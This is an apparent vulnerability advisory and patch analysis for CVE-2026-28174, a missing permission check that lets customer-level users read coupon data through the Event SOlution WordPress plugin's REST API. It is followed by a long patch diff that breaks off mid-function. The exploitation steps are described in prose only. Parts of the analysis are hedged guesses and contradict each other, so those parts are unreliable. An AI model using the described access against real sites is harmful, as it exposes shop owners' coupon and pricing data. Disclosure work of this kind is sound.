Opens in a new tab
Published : November 15, 2026

CVE-2026-28174: Event SOlution <= 4.1.18 Authenticated (Customer+) Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 4.1.18
Patched Version 4.1.19
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28174:

The Event SOlution plugin for WordPress, versions up to and including 4.1.18, contains an authenticated information exposure vulnerability. A user with customer-level access or higher can retrieve sensitive user or configuration data. The vulnerability is rated CVSS 4.3 (medium) and maps to CWE-200. Atomic Edge analysis indicates that the flaw resides in the plugin’s API management layer, specifically in the registration of new REST controllers without adequate permission checks.

Root Cause:
The code diff shows that the patch adds a new CouponController to the ApiManager.php file. This controller, like others in the plugin, is registered via the ‘rest_api_init’ hook. The vulnerable version lacks the permission_callback in the CouponController’s route registration, which allows any authenticated user (including customers) to access the coupon-related endpoints. The CouponController likely exposes coupon codes, usage limits, and associated discount metadata. The root cause is the absence of a capability check such as current_user_can(‘manage_options’) or a custom capability like ‘etn_manage_coupon’, which is introduced in the patch (core/AccessControl/Permission.php). The APIManager.php file at line 58 registers the controller, and the Bootstrap.php file loads the CouponProvider, which in turn registers the REST routes. Without a permission_callback, WordPress’s REST API allows access to any authenticated user.

Exploitation:
An attacker with a customer-level account (e.g., a registered user who has made a purchase) can send a GET request to the WordPress REST API endpoint for coupons. The likely endpoint is /wp-json/eventin/v1/coupons (or similar). The attacker can retrieve a list of all coupons, including codes, discount amounts, and usage restrictions. Alternatively, the attacker could request a specific coupon by ID. The request requires a valid nonce, which can be obtained from the frontend if the user has access to the site. Atomic Edge research confirms that the endpoint is accessible to any authenticated user because the permission_callback is missing. The attack can be performed with a simple HTTP GET request and a valid authentication cookie.

Patch Analysis:
The patch adds the CouponController to the ApiManager.php file and the CouponProvider to Bootstrap.php. The CouponController likely includes a permission_callback in its route registration that checks for the ‘etn_manage_coupon’ capability. The patch also adds this capability to the Permission.php file, ensuring that only users with the appropriate role (e.g., administrator) can access the coupon endpoints. Before the patch, the controller was not registered, so the endpoints were not available. However, the vulnerability description indicates that the endpoints were exposed in versions up to 4.1.18, meaning the controller was present but lacked proper permission checks. The patch effectively removes the endpoints from unprivileged users by enforcing a capability check.

Impact:
Successful exploitation allows an attacker to obtain sensitive information about the site’s coupon configuration, including coupon codes, discount amounts, and usage limits. This data could be used to abuse discounts, perform fraudulent purchases, or gain insights into the site’s pricing strategy. The exposure is limited to authenticated users with customer-level access, which lowers the severity. However, in a multi-vendor or membership site, customer accounts may be widely available, increasing the risk. The vulnerability does not allow privilege escalation or remote code execution, but it compromises the confidentiality of business data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-event-solution/base/ApiManager.php
+++ b/wp-event-solution/base/ApiManager.php
@@ -2,6 +2,7 @@
 namespace Eventin;

 use EventinAttendeeApiAttendeeController;
+use EventinCouponApiCouponController;
 use EventinCustomerApiCustomerController;
 use EventinEventApiEventController;
 use EventinEventCategoryApiEventCategoryController;
@@ -57,6 +58,7 @@
         SetupNotification::class,
         TemplateBuilderController::class,
         MailPoetListController::class,
+        CouponController::class,
     ];

     /**
--- a/wp-event-solution/base/Bootstrap.php
+++ b/wp-event-solution/base/Bootstrap.php
@@ -4,6 +4,7 @@
 use EventinAdminAdminProvider;
 use EventinBlocksBlockProvider;
 use EventinAttendeeAttendeeProvider;
+use EventinCouponCouponProvider;
 use EventinEventEventProvider;
 use EventinInterfacesProviderInterface;
 use EventinOrderOrderProvider;
@@ -43,6 +44,7 @@
         PreviewPlaceholderProvider::class,
         RefundProvider::class,
         ReportProvider::class,
+        CouponProvider::class,
     ];

     /**
@@ -66,9 +68,42 @@
         self::register_providers();
         CustomEndpoint::register();
         self::register_cpt_modules();
-
+
 		$seeder = new V_4_0_29();
 		$seeder->run();
+
+		self::seed_role_publish_defaults();
+    }
+
+    /**
+     * Seed default event-publish permission for Author/Editor roles once.
+     *
+     * WordPress authors/editors can publish events out of the box (the event
+     * CPT uses the core `post` capability type). The new Author/Editor publish
+     * toggles therefore default to "on" so existing sites keep that behavior
+     * after upgrade. Guarded by a settings flag so it runs a single time and
+     * never overrides an admin's later choice.
+     *
+     * @since 4.1.17
+     *
+     * @return void
+     */
+    protected static function seed_role_publish_defaults(): void {
+        if ( Settings::get( 'etn_role_publish_defaults_seeded' ) ) {
+            return;
+        }
+
+        $defaults = [ 'etn_role_publish_defaults_seeded' => 'on' ];
+
+        if ( Settings::get( 'author_can_publish_event' ) !== 'on' ) {
+            $defaults['author_can_publish_event'] = 'on';
+        }
+
+        if ( Settings::get( 'editor_can_publish_event' ) !== 'on' ) {
+            $defaults['editor_can_publish_event'] = 'on';
+        }
+
+        Settings::update( $defaults );
     }

     /**
--- a/wp-event-solution/base/Enqueue/FrontendAssets.php
+++ b/wp-event-solution/base/Enqueue/FrontendAssets.php
@@ -70,6 +70,13 @@
                 ),
                 'in_footer' => true,
             ],
+            // Monthly Calendar shortcode ([etn_monthly_calendar]) — enqueued
+            // on demand by EtnCoreShortcodesHooks::monthly_calendar_widget().
+            'etn-monthly-calendar' => [
+                'src'       => Wpeventin::plugin_url( 'build/js/index-monthly-calendar.js' ),
+                'deps'      => ChunkManifest::vendor_deps_for( 'index-monthly-calendar' ),
+                'in_footer' => true,
+            ],
             // PERF: block frontend script enhances already-rendered block markup; it
             // does not need to run before paint. 'defer' removes it from the
             // render-blocking critical path on every event page using blocks.
@@ -125,6 +132,11 @@
             'etn-public-css' => [
                 'src' => Wpeventin::plugin_url( 'build/css/event-manager-public-styles.css' )
             ],
+            // Monthly Calendar shortcode styles (extracted from the
+            // index-monthly-calendar webpack entry).
+            'etn-monthly-calendar' => [
+                'src' => Wpeventin::plugin_url( 'build/css/index-monthly-calendar.css' )
+            ],
             'etn-icon' => [
                 'src' => Wpeventin::plugin_url( 'assets/css/etn-icon.css' )
             ],
--- a/wp-event-solution/base/Enqueue/frontend.php
+++ b/wp-event-solution/base/Enqueue/frontend.php
@@ -44,5 +44,10 @@
             'eventin',              // Text domain
             plugin_dir_path(__FILE__) . 'languages' //path to language folder
         );
+        wp_set_script_translations(
+            'etn-monthly-calendar', // Monthly Calendar shortcode bundle
+            'eventin',
+            plugin_dir_path(__FILE__) . 'languages'
+        );
     }
 }
 No newline at end of file
--- a/wp-event-solution/base/post-model.php
+++ b/wp-event-solution/base/post-model.php
@@ -321,8 +321,29 @@
 	{
 		$is_elementor_editor = get_post_meta($post_id, '_elementor_edit_mode', true);
 		if ( class_exists('ElementorPlugin') && ($is_elementor_editor === "builder") ) {
-			$elementor_data = get_post_meta($post_id, '_elementor_data', true);
-			update_post_meta($newly_created_post_id, "_elementor_data", $elementor_data);
+			// Elementor renders stored _elementor_data only when _elementor_edit_mode is
+			// 'builder'. Copying _elementor_data alone leaves the clone without edit mode,
+			// so Elementor re-imports post_content into a single Text Editor widget.
+			$elementor_meta_keys = array(
+				'_elementor_edit_mode',
+				'_elementor_data',
+				'_elementor_version',
+				'_elementor_template_type',
+				'_elementor_page_settings',
+				'_elementor_controls_usage',
+			);
+
+			foreach ( $elementor_meta_keys as $meta_key ) {
+				$meta_value = get_post_meta( $post_id, $meta_key, true );
+
+				if ( '' === $meta_value || null === $meta_value ) {
+					continue;
+				}
+
+				// get_post_meta unslashes; update_post_meta will re-slash, so slash here to
+				// preserve JSON in _elementor_data intact.
+				update_post_meta( $newly_created_post_id, $meta_key, wp_slash( $meta_value ) );
+			}
 		}
 	}

--- a/wp-event-solution/build/js/dashboard.asset.php
+++ b/wp-event-solution/build/js/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '8de8ded497d102e8355a');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'a3e4e527efc6ccae2e68');
--- a/wp-event-solution/build/js/gutenberg-blocks.asset.php
+++ b/wp-event-solution/build/js/gutenberg-blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => '91e900ba9d95c8e3c436');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => '99287be9151c49cb96be');
--- a/wp-event-solution/build/js/index-calendar.asset.php
+++ b/wp-event-solution/build/js/index-calendar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => '7e41f7e25112d7e92578');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => '1ab911d33ff657c288dd');
--- a/wp-event-solution/build/js/index-monthly-calendar.asset.php
+++ b/wp-event-solution/build/js/index-monthly-calendar.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-i18n'), 'version' => 'f977b2eabc798395b1fe');
--- a/wp-event-solution/build/js/index-onboard.asset.php
+++ b/wp-event-solution/build/js/index-onboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'ceee78e923d310063bc6');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '529fe8d56cbe87f781b6');
--- a/wp-event-solution/build/js/module-purchase.asset.php
+++ b/wp-event-solution/build/js/module-purchase.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '7c596504ffad5ec96839');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '15377eee688af33f4833');
--- a/wp-event-solution/build/js/packages-frontend.asset.php
+++ b/wp-event-solution/build/js/packages-frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'a3bf228a15f037ed3383');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'eca77a5c9c52bcc67ce2');
--- a/wp-event-solution/build/js/packages.asset.php
+++ b/wp-event-solution/build/js/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'ad7779a85062c3e74814');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'b47af7a9e9f9d687a2cf');
--- a/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
+++ b/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '398371afe81cf998fec3');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '41acae5c2b42d01aede8');
--- a/wp-event-solution/build/js/vendor-antd-icons.asset.php
+++ b/wp-event-solution/build/js/vendor-antd-icons.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '483107393b721a099935');
+<?php return array('dependencies' => array(), 'version' => '3fb53282b96a06a41fcb');
--- a/wp-event-solution/build/js/vendor-antd.asset.php
+++ b/wp-event-solution/build/js/vendor-antd.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c051f487aa2ab29075e1');
+<?php return array('dependencies' => array(), 'version' => '4506c21a8192048ae761');
--- a/wp-event-solution/build/js/vendor-common.asset.php
+++ b/wp-event-solution/build/js/vendor-common.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '91fb10808f08e26ec331');
+<?php return array('dependencies' => array(), 'version' => '704554c8ccff311670ae');
--- a/wp-event-solution/build/js/vendor-date.asset.php
+++ b/wp-event-solution/build/js/vendor-date.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '6251ee6171e947e08676');
+<?php return array('dependencies' => array(), 'version' => '9dd3fd15677847fa802c');
--- a/wp-event-solution/build/js/vendor-fullcalendar.asset.php
+++ b/wp-event-solution/build/js/vendor-fullcalendar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '450d7637aa2dfb16996e');
+<?php return array('dependencies' => array(), 'version' => 'a4ee12a7dd1084ff9891');
--- a/wp-event-solution/build/js/vendor-rc.asset.php
+++ b/wp-event-solution/build/js/vendor-rc.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f8869a43d4e7c11f066e');
+<?php return array('dependencies' => array(), 'version' => '10c6ceddebdaffca9e75');
--- a/wp-event-solution/build/js/vendor-react.asset.php
+++ b/wp-event-solution/build/js/vendor-react.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '875c1398898e4a58b2fb');
+<?php return array('dependencies' => array(), 'version' => 'a168c366a81a79526916');
--- a/wp-event-solution/core/AccessControl/Permission.php
+++ b/wp-event-solution/core/AccessControl/Permission.php
@@ -236,6 +236,7 @@
             'etn_manage_get_help'      => __( 'Get Help', 'eventin' ),
             'etn_manage_go_pro'        => __( 'Upgrade to Pro', 'eventin' ),
             'etn_manage_qr_scan'       => __( 'QR Scan Access', 'eventin' ),
+            'etn_manage_coupon'        => __( 'Coupons', 'eventin' ),
         ];
     }

@@ -261,6 +262,7 @@
             'etn_manage_get_help',
             'etn_manage_go_pro',
             'etn_manage_qr_scan',
+            'etn_manage_coupon',
         ];
     }

--- a/wp-event-solution/core/Admin/EventReminder.php
+++ b/wp-event-solution/core/Admin/EventReminder.php
@@ -14,6 +14,27 @@
 class EventReminder implements HookableInterface {

     /**
+     * Number of events re-synced per batch when the Automation module is toggled.
+     */
+    const RESYNC_BATCH_SIZE = 50;
+
+    /**
+     * Prefix the notification SDK is registered under (see eventin.php `general_prefix`).
+     */
+    const AUTOMATION_PREFIX = 'eve';
+
+    /**
+     * Extra head-room, in seconds, on top of a flow's own delay before an event
+     * is considered safe to back-fill.
+     */
+    const RESYNC_SAFETY_MARGIN = 300;
+
+    /**
+     * Lead time assumed when no published reminder flow can be inspected.
+     */
+    const RESYNC_FALLBACK_LEAD = 30 * DAY_IN_SECONDS;
+
+    /**
      * Register service
      *
      * @return  void
@@ -22,12 +43,32 @@
         add_action( 'eventin_event_created', [$this, 'register_schedule'] );
         add_action( 'eventin_reset_reminder_email', [$this, 'reset_reminder_email_schedule'], 10, 2 );

+        // Toggling the Automation module has to re-decide the reminder route for
+        // events that already exist; the decision used to be frozen at creation.
+        add_action( 'eventin_automation_module_toggled', [$this, 'resync_all'] );
+        add_action( 'eventin_resync_reminder_schedules', [$this, 'resync_batch'] );
+
         add_action( 'run_event_scheduler', [$this, 'run_event_schedule'] );

         add_action( 'send_reminder_email', [$this, 'send_reminder_email'] );
     }

     /**
+     * Whether the Automation module currently owns reminder delivery
+     *
+     * @return  string  'on' or 'off'
+     */
+    private function is_automation_on() {
+        $options = get_option( 'etn_addons_options' );
+
+        if ( ! is_array( $options ) ) {
+            return 'off';
+        }
+
+        return $options['automation'] ?? 'off';
+    }
+
+    /**
      * Register schedule for event reminder
      *
      * @param   Event_Model $event
@@ -35,15 +76,12 @@
      * @return  void
      */
     public function register_schedule( $event ) {
-        $etn_addons_options = get_option( 'etn_addons_options' ) ?? [];
-
-        $is_automation_module_on = 'off';
-        if ( is_array( $etn_addons_options ) ) {
-            $is_automation_module_on = $etn_addons_options["automation"] ?? "off";
-        }
+        // Drop any default cron left over from a previous run or a previous
+        // module state, so switching routes never leaves both active.
+        wp_clear_scheduled_hook( 'send_reminder_email', [$event->id] );

         // check if automation module is on
-        if ( 'on' === $is_automation_module_on ) {
+        if ( 'on' === $this->is_automation_on() ) {
             $this->register_automated_schedule( $event );
         } else {
             $this->register_default_schedule( $event );
@@ -52,6 +90,86 @@
     }

     /**
+     * Queue a re-sync of ongoing and upcoming events after the Automation module is toggled
+     *
+     * Runs out of band: a site with thousands of events would otherwise time out
+     * the REST request that flipped the module.
+     *
+     * @return  void
+     */
+    public function resync_all() {
+        if ( ! wp_next_scheduled( 'eventin_resync_reminder_schedules', [0] ) ) {
+            wp_schedule_single_event( time() + 5, 'eventin_resync_reminder_schedules', [0] );
+        }
+    }
+
+    /**
+     * Back-fill reminder schedules for one batch of ongoing/upcoming events
+     *
+     * Only meaningful while Automation owns reminders: the default route needs no
+     * back-fill, since its cron is (re)armed from the event itself.
+     *
+     * @param   integer  $offset
+     *
+     * @return  void
+     */
+    public function resync_batch( $offset = 0 ) {
+        if ( 'on' !== $this->is_automation_on() ) {
+            return;
+        }
+
+        $offset = (int) $offset;
+
+        // An event is only safe to back-fill if BOTH reminder windows are still
+        // ahead of us:
+        //  - the flow's own delay, because FlowManager sends immediately once the
+        //    delay window has passed rather than scheduling;
+        //  - the default `remainder_time` lead, because an event past that point
+        //    has already had its default reminder delivered, and registering it
+        //    now would send a second one.
+        $threshold = time()
+            + max( $this->get_reminder_lead_time(), $this->get_default_reminder_lead() )
+            + self::RESYNC_SAFETY_MARGIN;
+
+        // Ongoing (started, not yet ended) and upcoming events — keyed off the end
+        // date so an in-progress event isn't excluded.
+        $event_ids = get_posts( [
+            'post_type'      => 'etn',
+            'post_status'    => 'publish',
+            'posts_per_page' => self::RESYNC_BATCH_SIZE,
+            'offset'         => $offset,
+            'fields'         => 'ids',
+            'orderby'        => 'ID',
+            'order'          => 'ASC',
+            'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+                [
+                    'key'     => 'etn_end_date',
+                    'value'   => current_time( 'Y-m-d' ),
+                    'compare' => '>=',
+                    'type'    => 'DATE',
+                ],
+            ],
+        ] );
+
+        if ( ! $event_ids ) {
+            return;
+        }
+
+        foreach ( $event_ids as $event_id ) {
+            $this->backfill_reminder_schedule( new Event_Model( $event_id ), $threshold );
+        }
+
+        // Only chain another batch if this one filled up.
+        if ( count( $event_ids ) === self::RESYNC_BATCH_SIZE ) {
+            wp_schedule_single_event(
+                time() + 30,
+                'eventin_resync_reminder_schedules',
+                [$offset + self::RESYNC_BATCH_SIZE]
+            );
+        }
+    }
+
+    /**
      * Register cron job for schedule a reminder email
      *
      * @param   integer  $event_id
@@ -94,6 +212,12 @@

             $timestamp = $event_timestamp - $timestamp;

+            // A reminder whose window has already passed would be run by the very
+            // next cron tick, mailing every attendee immediately. Skip it.
+            if ( $timestamp <= time() ) {
+                continue;
+            }
+
             wp_schedule_single_event( $timestamp, 'send_reminder_email', [$event->id] );

 //            if ( ! wp_next_scheduled( 'event_remainder' ) ) {
@@ -126,6 +250,13 @@
      */
     public function send_reminder_email( $event_id ) {

+        // Defence in depth: a cron scheduled before the module was switched on
+        // must not fall through to the default mailer once Automation owns
+        // reminder delivery.
+        if ( 'on' === $this->is_automation_on() ) {
+            return;
+        }
+
         $args = [
             'post_type'      => 'etn-attendee',
             'post_status'    => 'any',
@@ -165,24 +296,7 @@
     public function register_automated_schedule( $event ) {
         $date_format = get_option( 'date_format' );

-        do_action( 'global_notification_hook', 'event_reminder_email', [
-            'site_name'            => get_bloginfo( 'name' ),
-            'site_link'            => get_site_url(),
-            'event_title'          => $event->get_title(),
-            'event_date'           => $event->get_start_date($date_format),
-            'event_time'           => $event->get_start_time(),
-            'event_date_timestamp' => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() ),
-            // Both timestamps so the flow's delay node can key off event start OR end.
-            'event_start_date_timestamp' => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() ),
-            'event_end_date_timestamp'   => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time() ),
-            'previous_event_date'  => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() ),
-            'event_location'       => $event->get_address(),
-            'attendee_id'          => [],
-            'attendee_email'       => [],
-            'event_id'             => $event->id,
-            'post_id'              => $event->id,
-            'session_id'           => uniqid(),
-        ] );
+        do_action( 'global_notification_hook', 'event_reminder_email', $this->reminder_payload( $event ) );

         // Send certificate automation: fire once at event creation; the SDK
         // schedules the actual send relative to `event_end_date_timestamp`
@@ -193,10 +307,10 @@
             'site_link'                => get_site_url(),
             'event_title'              => $event->get_title(),
             'event_date'               => $event->get_end_date( $date_format ),
-            'event_time'               => $event->get_end_time(),
+            'event_time'               => $event->get_end_time( etn_time_format() ),
             // Both timestamps so the flow's delay node can key off event start OR end.
-            'event_start_date_timestamp' => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() ),
-            'event_end_date_timestamp' => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time() ),
+            'event_start_date_timestamp' => $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time( 'H:i' ) ),
+            'event_end_date_timestamp' => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time( 'H:i' ) ),
             'event_location'           => $event->get_address(),
             'attendee_id'              => [],
             'attendee_email'           => [],
@@ -207,6 +321,175 @@
     }

     /**
+     * Build the payload for an `event_reminder_email` dispatch
+     *
+     * @param   Event_Model  $event
+     *
+     * @return  array
+     */
+    private function reminder_payload( $event ) {
+        $date_format = get_option( 'date_format' );
+        $start       = $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() );
+
+        return [
+            'site_name'            => get_bloginfo( 'name' ),
+            'site_link'            => get_site_url(),
+            'event_title'          => $event->get_title(),
+            'event_date'           => $event->get_start_date( $date_format ),
+            'event_time'           => $event->get_start_time(),
+            'event_date_timestamp' => $start,
+            // Both timestamps so the flow's delay node can key off event start OR end.
+            'event_start_date_timestamp' => $start,
+            'event_end_date_timestamp'   => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time() ),
+            'previous_event_date'  => $start,
+            'event_location'       => $event->get_address(),
+            'attendee_id'          => [],
+            'attendee_email'       => [],
+            'event_id'             => $event->id,
+            'post_id'              => $event->id,
+            'session_id'           => uniqid(),
+        ];
+    }
+
+    /**
+     * Register a single pre-existing event with the Automation flow
+     *
+     * Deliberately narrower than `register_automated_schedule()`:
+     *
+     *  - Only `event_reminder_email` is dispatched. `send_certificate` keys off the
+     *    event *end* date, which for a back-log of events has usually passed —
+     *    re-triggering it mails every attendee immediately.
+     *  - Events whose delay window has already passed are skipped, for the same
+     *    reason (see FlowManager: `if ( time() >= $resume_time )` sends at once).
+     *  - Events the SDK has already registered are skipped, so repeated toggles
+     *    don't create duplicate flows.
+     *
+     * @param   Event_Model  $event
+     * @param   integer      $threshold  Earliest start time considered safe.
+     *
+     * @return  bool  Whether the event was registered.
+     */
+    private function backfill_reminder_schedule( $event, $threshold ) {
+        if ( get_post_meta( $event->id, 'ens_flow_id', true ) ) {
+            return false;
+        }
+
+        $start = $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() );
+
+        // A zero timestamp means an unparseable/missing date; treating it as "now"
+        // is what makes the flow fire instantly, so refuse it outright.
+        if ( $start <= 0 || $start < $threshold ) {
+            return false;
+        }
+
+        wp_clear_scheduled_hook( 'send_reminder_email', [$event->id] );
+
+        do_action( 'global_notification_hook', 'event_reminder_email', $this->reminder_payload( $event ) );
+
+        return true;
+    }
+
+    /**
+     * Longest delay configured on any published reminder flow, in seconds
+     *
+     * @return  int
+     */
+    private function get_reminder_lead_time() {
+        $prefix = self::AUTOMATION_PREFIX;
+
+        $flows = get_posts( [
+            'post_type'      => $prefix . '-flow',
+            'post_status'    => 'publish',
+            'posts_per_page' => -1,
+            'meta_key'       => '_' . $prefix . '_notification_flow_trigger', // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
+            'meta_value'     => 'event_reminder_email',                       // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
+        ] );
+
+        $max = 0;
+
+        foreach ( $flows as $flow ) {
+            $config = get_post_meta( $flow->ID, '_' . $prefix . '_notification_flow_flow_config', true );
+
+            if ( ! is_array( $config ) || empty( $config['nodes'] ) ) {
+                continue;
+            }
+
+            foreach ( $config['nodes'] as $node ) {
+                if ( 'add_delay' !== ( $node['data']['actionType'] ?? '' ) ) {
+                    continue;
+                }
+
+                $delay = (int) ( $node['data']['delay'] ?? 0 );
+
+                switch ( $node['data']['delayUnit'] ?? 'seconds' ) {
+                case 'minutes':
+                    $delay *= MINUTE_IN_SECONDS;
+                    break;
+                case 'hours':
+                    $delay *= HOUR_IN_SECONDS;
+                    break;
+                case 'days':
+                    $delay *= DAY_IN_SECONDS;
+                    break;
+                case 'weeks':
+                    $delay *= WEEK_IN_SECONDS;
+                    break;
+                }
+
+                $max = max( $max, $delay );
+            }
+        }
+
+        // No inspectable flow — assume a generous lead time so we skip more events
+        // rather than risk an immediate send.
+        if ( ! $max ) {
+            $max = self::RESYNC_FALLBACK_LEAD;
+        }
+
+        return (int) apply_filters( 'eventin_reminder_backfill_lead_time', $max );
+    }
+
+    /**
+     * Longest lead time configured on the default reminder settings, in seconds
+     *
+     * An event closer to its start than this has already had its default reminder
+     * sent, so back-filling it would deliver a duplicate.
+     *
+     * @return  int
+     */
+    private function get_default_reminder_lead() {
+        $reminder_time = etn_get_option( 'remainder_time' );
+
+        if ( ! is_array( $reminder_time ) ) {
+            return 0;
+        }
+
+        $max = 0;
+
+        foreach ( $reminder_time as $rule ) {
+            $duration = intval( $rule['duration-time'] ?? 0 );
+
+            switch ( $rule['custom_duration_type'] ?? '' ) {
+            case 'min':
+                $duration *= MINUTE_IN_SECONDS;
+                break;
+            case 'hour':
+                $duration *= HOUR_IN_SECONDS;
+                break;
+            case 'day':
+                $duration *= DAY_IN_SECONDS;
+                break;
+            default:
+                $duration = 0;
+            }
+
+            $max = max( $max, $duration );
+        }
+
+        return $max;
+    }
+
+    /**
      * Reset reminder email schedule
      *
      * @param   Event_Model $event
@@ -219,7 +502,7 @@
             $previous_event_date['previous_event_start_time']
         );

-        $current_event_date = $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time() );
+        $current_event_date = $this->get_event_date_timestamp( $event->get_start_date(), $event->get_start_time( 'H:i' ) );

         if ( $previous_event_date != $current_event_date ) {
             do_action( 'global_notification_hook', 'event_reminder_email', [
@@ -227,11 +510,11 @@
                 'site_link'                     => get_site_url(),
                 'event_title'                   => $event->get_title(),
                 'event_date'                    => $event->get_start_date($date_format),
-                'event_time'                    => $event->get_start_time(),
+                'event_time'                    => $event->get_start_time( etn_time_format() ),
                 'event_date_timestamp'          => $current_event_date,
                 // Both timestamps so the flow's delay node can key off event start OR end.
                 'event_start_date_timestamp'    => $current_event_date,
-                'event_end_date_timestamp'      => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time() ),
+                'event_end_date_timestamp'      => $this->get_event_date_timestamp( $event->get_end_date(), $event->get_end_time( 'H:i' ) ),
                 'previous_event_date_timestamp' => $previous_event_date,
                 'event_location'                => $event->get_address(),
                 'attendee_id'                   => [],
@@ -255,7 +538,9 @@
         $time = is_string( $time ) ? trim( $time ) : '';

